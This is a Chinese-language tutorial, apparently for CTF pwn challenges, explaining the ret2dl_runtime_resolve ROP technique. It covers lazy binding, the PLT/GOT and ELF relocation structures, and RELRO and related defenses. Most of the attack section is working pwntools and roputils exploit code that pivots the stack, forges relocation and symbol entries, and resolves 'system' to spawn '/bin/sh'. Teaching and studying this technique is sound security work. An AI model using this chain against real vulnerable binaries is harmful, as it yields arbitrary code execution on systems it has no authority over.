高级ROP ret2dl_runtime 之通杀详解
字数 1105 2025-08-05 08:16:32

高级ROP ret2dl_runtime 攻击技术详解

1. 技术背景与原理

1.1 动态链接与延迟绑定机制

Linux系统采用延迟绑定技术(Lazy Binding)来优化动态链接过程:

  • 程序启动时不会立即绑定所有函数
  • 第一次调用函数时才进行绑定
  • 核心是通过_dl_runtime_resolve(link_map_obj, reloc_index)实现

1.2 PLT/GOT工作机制

当第一次调用函数时:

  1. PLT表项跳转到GOT表项
  2. GOT表项初始指向PLT中的下一条指令
  3. 将重定位偏移压栈
  4. 跳转到PLT0
  5. PLT0将link_map压栈
  6. 跳转到_dl_runtime_resolve进行解析
  7. 解析结果写入GOT表
  8. 控制权交给解析出的函数

2. 关键数据结构

2.1 ELF重定位表(.rel.plt)

结构体定义:

typedef struct {
    Elf32_Addr r_offset;  // 写入位置
    Elf32_Word r_info;    // 符号索引和类型
} Elf32_Rel;

r_info组成:

  • 高24位:符号在.dynsym中的索引
  • 低8位:重定位类型(0x7表示R_386_JMP_SLOT)

2.2 ELF符号表(.dynsym)

结构体定义:

typedef struct {
    Elf32_Word st_name;   // 符号名在.dynstr中的偏移
    Elf32_Addr st_value;
    Elf32_Word st_size;
    unsigned char st_info; // 对于导入函数为0x12
    unsigned char st_other;
    Elf32_Section st_shndx;
} Elf32_Sym;

2.3 ELF字符串表(.dynstr)

包含所有动态链接符号的名称字符串,如"read"、"system"等。

3. 攻击原理

通过伪造上述三个表的内容,控制_dl_runtime_resolve解析我们指定的函数:

  1. 控制程序执行_dl_runtime_resolve
  2. 伪造重定位表项,指向我们控制的区域
  3. 伪造符号表项,指向我们控制的字符串
  4. 伪造字符串内容为"system"等目标函数名

4. 攻击步骤详解

4.1 准备工作

from pwn import *
offset = 44  # 溢出偏移
elf = ELF('./pwn')
rop = ROP('./pwn')
bss_addr = elf.bss()
stack_size = 0x800
base_stage = bss_addr + stack_size  # 伪造数据存放位置

4.2 栈迁移

rop.raw('a' * offset)
rop.read(0, base_stage, 100)  # 读取伪造数据到bss段
rop.migrate(base_stage)       # 栈迁移到bss段

4.3 获取关键地址

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

4.4 构造伪造数据

  1. 构造符号表项:
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)  # 16字节对齐
fake_sym_addr += align
index_dynsym = (fake_sym_addr - dynsym) / 0x10   # 符号索引
st_name = fake_sym_addr + 0x10 - dynstr           # 字符串偏移
fake_sys = flat([st_name, 0, 0, 0x12])           # 伪造符号表项
  1. 构造重定位表项:
r_info = index_dynsym << 8 | 0x7                 # 符号索引+类型
read_got = elf.got['setvbuf']                    # 可写地址
fake_sys_rel = flat([read_got, r_info])          # 伪造重定位表项
  1. 计算重定位索引:
index_offset = base_stage + 24 - rel_plt

4.5 构造ROP链

sh = '/bin/sh'
rop.raw(plt0)                   # 调用_dl_runtime_resolve
rop.raw(index_offset)           # 重定位索引
rop.raw('bbbb')                 # 返回地址
rop.raw(base_stage + 82)        # system参数
rop.raw('bbbb')                 # 填充
rop.raw('bbbb')                 # 填充
rop.raw(fake_sys_rel)           # 伪造重定位表
rop.raw(align * 'a')            # 对齐填充
rop.raw(fake_sys)               # 伪造符号表
rop.raw('system\x00')           # 函数名字符串
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh + '\x00')            # 参数字符串
rop.raw('a' * (100 - len(rop.chain())))

5. 利用工具简化攻击

使用roputils库可以简化攻击过程:

from roputils import *
rop = ROP('./pwn')
bss_base = rop.section('.bss')

# 第一阶段:栈迁移
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

# 第二阶段:发送伪造数据
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)

6. 攻击条件与注意事项

  1. 必要条件:

    • 存在栈溢出漏洞
    • 没有泄露函数地址的机会
    • 程序使用动态链接
  2. 注意事项:

    • 重定位表项的r_offset必须可写
    • 符号版本信息(ndx)最好设为0
    • 64位程序需要调整参数传递方式

7. 防御措施

  1. 启用RELRO保护:

    • Partial RELRO:.got.plt段可写
    • Full RELRO:所有重定位数据在加载时解析并设为只读
  2. 其他防御:

    • 栈保护(Stack Canary)
    • 地址随机化(ASLR)
    • 非可执行栈(NX)

8. 总结

ret2dl_runtime是一种高级ROP技术,通过伪造动态链接过程中的重定位数据结构,实现在没有地址泄露的情况下调用任意函数。虽然原理复杂,但利用模式固定,掌握后可以通杀同类题目。

高级ROP ret2dl_ runtime 攻击技术详解 1. 技术背景与原理 1.1 动态链接与延迟绑定机制 Linux系统采用延迟绑定技术(Lazy Binding)来优化动态链接过程: 程序启动时不会立即绑定所有函数 第一次调用函数时才进行绑定 核心是通过 _dl_runtime_resolve(link_map_obj, reloc_index) 实现 1.2 PLT/GOT工作机制 当第一次调用函数时: PLT表项跳转到GOT表项 GOT表项初始指向PLT中的下一条指令 将重定位偏移压栈 跳转到PLT0 PLT0将link_ map压栈 跳转到 _dl_runtime_resolve 进行解析 解析结果写入GOT表 控制权交给解析出的函数 2. 关键数据结构 2.1 ELF重定位表(.rel.plt) 结构体定义: r_ info组成: 高24位:符号在.dynsym中的索引 低8位:重定位类型(0x7表示R_ 386_ JMP_ SLOT) 2.2 ELF符号表(.dynsym) 结构体定义: 2.3 ELF字符串表(.dynstr) 包含所有动态链接符号的名称字符串,如"read"、"system"等。 3. 攻击原理 通过伪造上述三个表的内容,控制 _dl_runtime_resolve 解析我们指定的函数: 控制程序执行 _dl_runtime_resolve 伪造重定位表项,指向我们控制的区域 伪造符号表项,指向我们控制的字符串 伪造字符串内容为"system"等目标函数名 4. 攻击步骤详解 4.1 准备工作 4.2 栈迁移 4.3 获取关键地址 4.4 构造伪造数据 构造符号表项: 构造重定位表项: 计算重定位索引: 4.5 构造ROP链 5. 利用工具简化攻击 使用roputils库可以简化攻击过程: 6. 攻击条件与注意事项 必要条件: 存在栈溢出漏洞 没有泄露函数地址的机会 程序使用动态链接 注意事项: 重定位表项的r_ offset必须可写 符号版本信息(ndx)最好设为0 64位程序需要调整参数传递方式 7. 防御措施 启用RELRO保护: Partial RELRO:.got.plt段可写 Full RELRO:所有重定位数据在加载时解析并设为只读 其他防御: 栈保护(Stack Canary) 地址随机化(ASLR) 非可执行栈(NX) 8. 总结 ret2dl_ runtime是一种高级ROP技术,通过伪造动态链接过程中的重定位数据结构,实现在没有地址泄露的情况下调用任意函数。虽然原理复杂,但利用模式固定,掌握后可以通杀同类题目。